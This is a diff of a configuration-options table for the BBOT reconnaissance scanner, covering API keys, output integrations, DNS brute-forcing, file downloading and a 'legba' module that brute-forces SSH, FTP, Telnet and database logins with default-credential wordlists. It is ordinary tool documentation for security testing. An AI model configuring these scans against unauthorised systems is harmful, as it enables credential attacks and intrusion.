-| modules.hunterio.api_key                            | str      | Hunter.IO API key                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.ip2location.api_key                         | str      | IP2location.io API Key                                                                                                                                                                                                                                                                                                         |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.ip2location.lang                            | str      | Translation information(ISO639-1). The translation is only applicable for continent, country, region and city name.                                                                                                                                                                                                            |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.ipneighbor.num_bits                         | int      | Netmask size (in CIDR notation) to check. Default is 4 bits (16 hosts)                                                                                                                                                                                                                                                         | 4                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.ipstack.api_key                             | str      | IPStack GeoIP API Key                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.jadx.threads                                | int      | Maximum jadx threads for extracting apk's, default: 4                                                                                                                                                                                                                                                                          | 4                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.leakix.api_key                              | str      | LeakIX API Key                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.otx.api_key                                 | str      | OTX API key                                                                                                                                                                                                                                                                                                                    |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.pgp.search_urls                             | list     | PGP key servers to search                                                                                                                                                                                                                                                                                                      |` ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=<query>', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=<query>', 'https://pgpkeys.eu/pks/lookup?search=<query>&op=index', 'https://pgp.mit.edu/pks/lookup?search=<query>&op=index']                                                                                                                                                                  `|
-| modules.portfilter.allowed_cdn_ports                | str      | Comma-separated list of ports that are allowed to be scanned for CDNs                                                                                                                                                                                                                                                          | 80,443                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
-| modules.portfilter.cdn_tags                         | str      | Comma-separated list of tags to skip, e.g. 'cdn,cloud'                                                                                                                                                                                                                                                                         | cdn-                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.postman.api_key                             | str      | Postman API Key                                                                                                                                                                                                                                                                                                                |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.postman_download.api_key                    | str      | Postman API Key                                                                                                                                                                                                                                                                                                                |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.postman_download.output_folder              | str      | Folder to download postman workspaces to. If not specified, downloaded workspaces will be deleted when the scan completes, to minimize disk usage.                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.securitytrails.api_key                      | str      | SecurityTrails API key                                                                                                                                                                                                                                                                                                         |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.shodan_dns.api_key                          | str      | Shodan API key                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.shodan_idb.retries                          | NoneType | How many times to retry API requests (e.g. after a 429 error). Overrides the global web.api_retries setting.                                                                                                                                                                                                                   | None                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.subdomainradar.api_key                      | str      | SubDomainRadar.io API key                                                                                                                                                                                                                                                                                                      |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.subdomainradar.group                        | str      | The enumeration group to use. Choose from fast, medium, deep                                                                                                                                                                                                                                                                   | fast                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.subdomainradar.timeout                      | int      | Timeout in seconds                                                                                                                                                                                                                                                                                                             | 120                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| modules.trickest.api_key                            | str      | Trickest API key                                                                                                                                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.trufflehog.concurrency                      | int      | Number of concurrent workers                                                                                                                                                                                                                                                                                                   | 8                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.trufflehog.config                           | str      | File path or URL to YAML trufflehog config                                                                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.trufflehog.deleted_forks                    | bool     | Scan for deleted github forks. WARNING: This is SLOW. For a smaller repository, this process can take 20 minutes. For a larger repository, it could take hours.                                                                                                                                                                | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.trufflehog.only_verified                    | bool     | Only report credentials that have been verified                                                                                                                                                                                                                                                                                | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.trufflehog.version                          | str      | trufflehog version                                                                                                                                                                                                                                                                                                             | 3.95.5                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
-| modules.urlscan.urls                                | bool     | Emit URLs in addition to DNS_NAMEs                                                                                                                                                                                                                                                                                             | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.virustotal.api_key                          | str      | VirusTotal API Key                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.wayback.garbage_threshold                   | int      | Dedupe similar urls if they are in a group of this size or higher (lower values == less garbage data)                                                                                                                                                                                                                          | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.wayback.urls                                | bool     | emit URLs in addition to DNS_NAMEs                                                                                                                                                                                                                                                                                             | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.asset_inventory.output_file                 | str      | Set a custom output file                                                                                                                                                                                                                                                                                                       |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.asset_inventory.recheck                     | bool     | When use_previous=True, don't retain past details like open ports or findings. Instead, allow them to be rediscovered by the new scan                                                                                                                                                                                          | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.asset_inventory.summary_netmask             | int      | Subnet mask to use when summarizing IP addresses at end of scan                                                                                                                                                                                                                                                                | 16                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.asset_inventory.use_previous                | bool     |` Emit previous asset inventory as new events (use in conjunction with -n <old_scan_name>)                                                                                                                                                                                                                                       `| False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.csv.output_file                             | str      | Output to CSV file                                                                                                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.discord.event_types                         | list     | Types of events to send                                                                                                                                                                                                                                                                                                        | ['VULNERABILITY', 'FINDING']                                                                                                                                                                                                                                                                                                                                                                                                                            |
-| modules.discord.min_severity                        | str      | Only allow VULNERABILITY events of this severity or higher                                                                                                                                                                                                                                                                     | LOW                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| modules.discord.retries                             | int      | Number of times to retry sending the message before skipping the event                                                                                                                                                                                                                                                         | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.discord.webhook_url                         | str      | Discord webhook URL                                                                                                                                                                                                                                                                                                            |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.emails.output_file                          | str      | Output to file                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.http.bearer                                 | str      | Authorization Bearer token                                                                                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.http.method                                 | str      | HTTP method                                                                                                                                                                                                                                                                                                                    | POST                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.http.password                               | str      | Password (basic auth)                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.http.siem_friendly                          | bool     | Format JSON in a SIEM-friendly way for ingestion into Elastic, Splunk, etc.                                                                                                                                                                                                                                                    | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.http.timeout                                | int      | HTTP timeout                                                                                                                                                                                                                                                                                                                   | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.http.url                                    | str      | Web URL                                                                                                                                                                                                                                                                                                                        |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.http.username                               | str      | Username (basic auth)                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.json.output_file                            | str      | Output to file                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.json.siem_friendly                          | bool     | Output JSON in a SIEM-friendly format for ingestion into Elastic, Splunk, etc.                                                                                                                                                                                                                                                 | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.mysql.database                              | str      | The database name to connect to                                                                                                                                                                                                                                                                                                | bbot                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.mysql.host                                  | str      | The server running MySQL                                                                                                                                                                                                                                                                                                       | localhost                                                                                                                                                                                                                                                                                                                                                                                                                                               |
-| modules.mysql.password                              | str      | The password to connect to MySQL                                                                                                                                                                                                                                                                                               | bbotislife                                                                                                                                                                                                                                                                                                                                                                                                                                              |
-| modules.mysql.port                                  | int      | The port to connect to MySQL                                                                                                                                                                                                                                                                                                   | 3306                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.mysql.username                              | str      | The username to connect to MySQL                                                                                                                                                                                                                                                                                               | root                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.neo4j.password                              | str      | Neo4j password                                                                                                                                                                                                                                                                                                                 | bbotislife                                                                                                                                                                                                                                                                                                                                                                                                                                              |
-| modules.neo4j.uri                                   | str      | Neo4j server + port                                                                                                                                                                                                                                                                                                            | bolt://localhost:7687                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.neo4j.username                              | str      | Neo4j username                                                                                                                                                                                                                                                                                                                 | neo4j                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.postgres.database                           | str      | The database name to connect to                                                                                                                                                                                                                                                                                                | bbot                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.postgres.host                               | str      | The server running Postgres                                                                                                                                                                                                                                                                                                    | localhost                                                                                                                                                                                                                                                                                                                                                                                                                                               |
-| modules.postgres.password                           | str      | The password to connect to Postgres                                                                                                                                                                                                                                                                                            | bbotislife                                                                                                                                                                                                                                                                                                                                                                                                                                              |
-| modules.postgres.port                               | int      | The port to connect to Postgres                                                                                                                                                                                                                                                                                                | 5432                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.postgres.username                           | str      | The username to connect to Postgres                                                                                                                                                                                                                                                                                            | postgres                                                                                                                                                                                                                                                                                                                                                                                                                                                |
-| modules.slack.event_types                           | list     | Types of events to send                                                                                                                                                                                                                                                                                                        | ['VULNERABILITY', 'FINDING']                                                                                                                                                                                                                                                                                                                                                                                                                            |
-| modules.slack.min_severity                          | str      | Only allow VULNERABILITY events of this severity or higher                                                                                                                                                                                                                                                                     | LOW                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| modules.slack.retries                               | int      | Number of times to retry sending the message before skipping the event                                                                                                                                                                                                                                                         | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.slack.webhook_url                           | str      | Discord webhook URL                                                                                                                                                                                                                                                                                                            |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.splunk.hectoken                             | str      | HEC Token                                                                                                                                                                                                                                                                                                                      |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.splunk.index                                | str      | Index to send data to                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.splunk.source                               | str      | Source path to be added to the metadata                                                                                                                                                                                                                                                                                        |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.splunk.timeout                              | int      | HTTP timeout                                                                                                                                                                                                                                                                                                                   | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.splunk.url                                  | str      | Web URL                                                                                                                                                                                                                                                                                                                        |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.sqlite.database                             | str      | The path to the sqlite database file                                                                                                                                                                                                                                                                                           |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.stdout.accept_dupes                         | bool     | Whether to show duplicate events, default True                                                                                                                                                                                                                                                                                 | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.stdout.event_fields                         | list     | Which event fields to display                                                                                                                                                                                                                                                                                                  | []                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.stdout.event_types                          | list     | Which events to display, default all event types                                                                                                                                                                                                                                                                               | []                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.stdout.format                               | str      | Which text format to display, choices: text,json                                                                                                                                                                                                                                                                               | text                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.stdout.in_scope_only                        | bool     | Whether to only show in-scope events                                                                                                                                                                                                                                                                                           | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.subdomains.include_unresolved               | bool     | Include unresolved subdomains in output                                                                                                                                                                                                                                                                                        | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.subdomains.output_file                      | str      | Output to file                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.teams.event_types                           | list     | Types of events to send                                                                                                                                                                                                                                                                                                        | ['VULNERABILITY', 'FINDING']                                                                                                                                                                                                                                                                                                                                                                                                                            |
-| modules.teams.min_severity                          | str      | Only allow VULNERABILITY events of this severity or higher                                                                                                                                                                                                                                                                     | LOW                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| modules.teams.retries                               | int      | Number of times to retry sending the message before skipping the event                                                                                                                                                                                                                                                         | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.teams.webhook_url                           | str      | Teams webhook URL                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.txt.output_file                             | str      | Output to file                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.web_parameters.include_count                | bool     | Include the count of each parameter in the output                                                                                                                                                                                                                                                                              | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.web_parameters.output_file                  | str      | Output to file                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.web_report.css_theme_file                   | str      | CSS theme URL for HTML output                                                                                                                                                                                                                                                                                                  | https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css                                                                                                                                                                                                                                                                                                                                                                |
-| modules.web_report.output_file                      | str      | Output to file                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.websocket.ignore_ssl                        | bool     | Ignores all Websocket SSL related errors (like Self-Signed Certificates, etc.)                                                                                                                                                                                                                                                 | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.websocket.preserve_graph                    | bool     | Preserve full chains of events in the graph (prevents orphans)                                                                                                                                                                                                                                                                 | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.websocket.token                             | str      | Authorization Bearer token                                                                                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.websocket.url                               | str      | Web URL                                                                                                                                                                                                                                                                                                                        |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.excavate.custom_yara_rules                  | str      | Include custom Yara rules                                                                                                                                                                                                                                                                                                      |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.excavate.speculate_params                   | bool     | Enable speculative parameter extraction from JSON and XML content                                                                                                                                                                                                                                                              | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.excavate.yara_max_match_data                | int      | Sets the maximum amount of text that can extracted from a YARA regex                                                                                                                                                                                                                                                           | 2000                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.speculate.essential_only                    | bool     | Only enable essential speculate features (no extra discovery)                                                                                                                                                                                                                                                                  | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.speculate.max_hosts                         | int      | Max number of IP_RANGE hosts to convert into IP_ADDRESS events                                                                                                                                                                                                                                                                 | 65536                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.speculate.ports                             | str      | The set of ports to speculate on                                                                                                                                                                                                                                                                                               | 80,443                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| Config Option                                          | Type                                                 | Description                                                                                                                                                                                                                                                                                                                    | Default                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+|--------------------------------------------------------|------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| modules.baddns.custom_nameservers                      | list[str]                                            | Force BadDNS to use a list of custom nameservers                                                                                                                                                                                                                                                                               | []                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.baddns.enabled_submodules                      | list[str]                                            | A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only                                                                                                                                                                                                                                            | []                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.baddns.min_confidence                          | ConfidenceLiteral                                    | Minimum confidence to emit                                                                                                                                                                                                                                                                                                     | MEDIUM                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| modules.baddns.min_severity                            | SeverityLiteral                                      | Minimum severity to emit                                                                                                                                                                                                                                                                                                       | LOW                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.baddns_direct.custom_nameservers               | list                                                 | Force BadDNS to use a list of custom nameservers                                                                                                                                                                                                                                                                               | []                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.baddns_direct.min_confidence                   | ConfidenceLiteral                                    | Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)                                                                                                                                                                                                                                                             | MEDIUM                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| modules.baddns_direct.min_severity                     | SeverityLiteral                                      | Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)                                                                                                                                                                                                                                                                   | LOW                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.baddns_zone.custom_nameservers                 | list                                                 | Force BadDNS to use a list of custom nameservers                                                                                                                                                                                                                                                                               | []                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.baddns_zone.min_confidence                     | ConfidenceLiteral                                    | Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED)                                                                                                                                                                                                                                                             | MEDIUM                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| modules.baddns_zone.min_severity                       | SeverityLiteral                                      | Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)                                                                                                                                                                                                                                                                   | INFO                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.badsecrets.custom_secrets                      | Optional[str]                                        | Include custom secrets loaded from a local file                                                                                                                                                                                                                                                                                | None                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.bucket_amazon.permutations                     | bool                                                 | Whether to try permutations                                                                                                                                                                                                                                                                                                    | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.bucket_digitalocean.permutations               | bool                                                 | Whether to try permutations                                                                                                                                                                                                                                                                                                    | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.bucket_firebase.permutations                   | bool                                                 | Whether to try permutations                                                                                                                                                                                                                                                                                                    | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.bucket_google.permutations                     | bool                                                 | Whether to try permutations                                                                                                                                                                                                                                                                                                    | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.bucket_hetzner.permutations                    | bool                                                 | Whether to try permutations                                                                                                                                                                                                                                                                                                    | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.bucket_microsoft.permutations                  | bool                                                 | Whether to try permutations                                                                                                                                                                                                                                                                                                    | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.dnsbrute.max_depth                             | int                                                  | How many subdomains deep to brute force, i.e. 5.4.3.2.1.evilcorp.com                                                                                                                                                                                                                                                           | 5                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.dnsbrute.recursive_mutations                   | bool                                                 | If True, brute-force hosts discovered by dnsbrute_mutations. The default (False) skips them because the static wordlist heavily overlaps with the mutation algorithm's own output.                                                                                                                                             | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.dnsbrute.wordlist                              | Union[str, list[str]]                                | Subdomain wordlist URL or file path. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).                                                                                                                                                                                                        | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt                                                                                                                                                                                                                                                                                                                                          |
+| modules.dnsbrute_mutations.max_mutations               | int                                                  | Maximum number of target-specific mutations to try per subdomain                                                                                                                                                                                                                                                               | 100                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.dnscommonsrv.max_depth                         | int                                                  | The maximum subdomain depth to brute-force SRV records                                                                                                                                                                                                                                                                         | 2                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.dnscommonsrv.recursive_mutations               | bool                                                 | If True, brute-force SRV records on hosts discovered by dnsbrute_mutations. Default False skips them.                                                                                                                                                                                                                          | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.filedownload.extensions                        | list[str]                                            | File extensions to download                                                                                                                                                                                                                                                                                                    | ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'] |
+| modules.filedownload.max_filesize                      | str                                                  | Cancel download if filesize is greater than this size                                                                                                                                                                                                                                                                          | 10MB                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.filedownload.output_folder                     | str                                                  | Folder to download files to. If not specified, downloaded files will be deleted when the scan completes, to minimize disk usage.                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.fingerprintx.skip_common_web                   | bool                                                 | Skip common web ports such as 80, 443, 8080, 8443, etc.                                                                                                                                                                                                                                                                        | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.fingerprintx.version                           | str                                                  | fingerprintx version                                                                                                                                                                                                                                                                                                           | 1.1.4                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.generic_ssrf.skip_dns_interaction              | bool                                                 | Do not report DNS interactions (only HTTP interaction)                                                                                                                                                                                                                                                                         | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.gitlab_com.api_key                             | str &#124; list[str]                                 | GitLab access token (for gitlab.com/org only)                                                                                                                                                                                                                                                                                  |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.gitlab_onprem.api_key                          | str &#124; list[str]                                 | GitLab access token (for self-hosted instances only)                                                                                                                                                                                                                                                                           |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.gowitness.chrome_path                          | str                                                  | Path to chrome executable                                                                                                                                                                                                                                                                                                      |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.gowitness.idle_timeout                         | int                                                  | Skip the current gowitness batch if it stalls for longer than this many seconds                                                                                                                                                                                                                                                | 1800                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.gowitness.output_path                          | str                                                  | Where to save screenshots                                                                                                                                                                                                                                                                                                      |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.gowitness.resolution_x                         | int                                                  | Screenshot resolution x                                                                                                                                                                                                                                                                                                        | 1440                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.gowitness.resolution_y                         | int                                                  | Screenshot resolution y                                                                                                                                                                                                                                                                                                        | 900                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.gowitness.social                               | bool                                                 | Whether to screenshot social media webpages                                                                                                                                                                                                                                                                                    | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.gowitness.threads                              | int                                                  | How many gowitness threads to spawn (default is number of CPUs x 2)                                                                                                                                                                                                                                                            | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.gowitness.timeout                              | int                                                  | Preflight check timeout                                                                                                                                                                                                                                                                                                        | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.gowitness.version                              | str                                                  | Gowitness version                                                                                                                                                                                                                                                                                                              | 3.1.1                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.graphql_introspection.graphql_endpoint_urls    | list[str]                                            | List of GraphQL endpoint to suffix to the target URL                                                                                                                                                                                                                                                                           | ['/', '/graphql', '/v1/graphql']                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| modules.graphql_introspection.output_folder            | str                                                  | Folder to save the GraphQL schemas to                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.http.in_scope_only                             | bool                                                 | Only visit web resources that are in scope.                                                                                                                                                                                                                                                                                    | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.http.max_response_size                         | int                                                  | Max response size in bytes                                                                                                                                                                                                                                                                                                     | 5242880                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| modules.http.store_responses                           | bool                                                 | Save raw HTTP responses to scan folder                                                                                                                                                                                                                                                                                         | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.http.threads                                   | int                                                  | Number of concurrent requests                                                                                                                                                                                                                                                                                                  | 50                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.iis_shortnames.detect_only                     | bool                                                 | Only detect the vulnerability and do not run the shortname scanner                                                                                                                                                                                                                                                             | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.iis_shortnames.max_node_count                  | int                                                  | Limit how many nodes to attempt to resolve on any given recursion branch                                                                                                                                                                                                                                                       | 50                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.iis_shortnames.speculate_magic_urls            | bool                                                 | Attempt to discover iis 'magic' special folders                                                                                                                                                                                                                                                                                | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.legba.concurrency                              | int                                                  | Number of concurrent workers, gets overridden for SSH                                                                                                                                                                                                                                                                          | 3                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.legba.ftp_wordlist                             | Union[str, list[str]]                                | Wordlist for FTP combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).                                                                                                                                                    | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt                                                                                                                                                                                                                                                                                                                 |
+| modules.legba.mssql_wordlist                           | Union[str, list[str]]                                | Wordlist for MSSQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).                                                                                                                                                  | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt                                                                                                                                                                                                                                                                                                               |
+| modules.legba.mysql_wordlist                           | Union[str, list[str]]                                | Wordlist for MySQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).                                                                                                                                                  | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt                                                                                                                                                                                                                                                                                                               |
+| modules.legba.postgresql_wordlist                      | Union[str, list[str]]                                | Wordlist for PostgreSQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).                                                                                                                                             | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt                                                                                                                                                                                                                                                                                                            |
+| modules.legba.rate_limit                               | int                                                  | Limit the number of requests per second, gets overridden for SSH                                                                                                                                                                                                                                                               | 3                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.legba.ssh_wordlist                             | Union[str, list[str]]                                | Wordlist for SSH combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).                                                                                                                                                    | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt                                                                                                                                                                                                                                                                                                                 |
+| modules.legba.telnet_wordlist                          | Union[str, list[str]]                                | Wordlist for TELNET combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).                                                                                                                                                 | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt                                                                                                                                                                                                                                                                                                              |
+| modules.legba.version                                  | str                                                  | legba version                                                                                                                                                                                                                                                                                                                  | 1.1.1                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
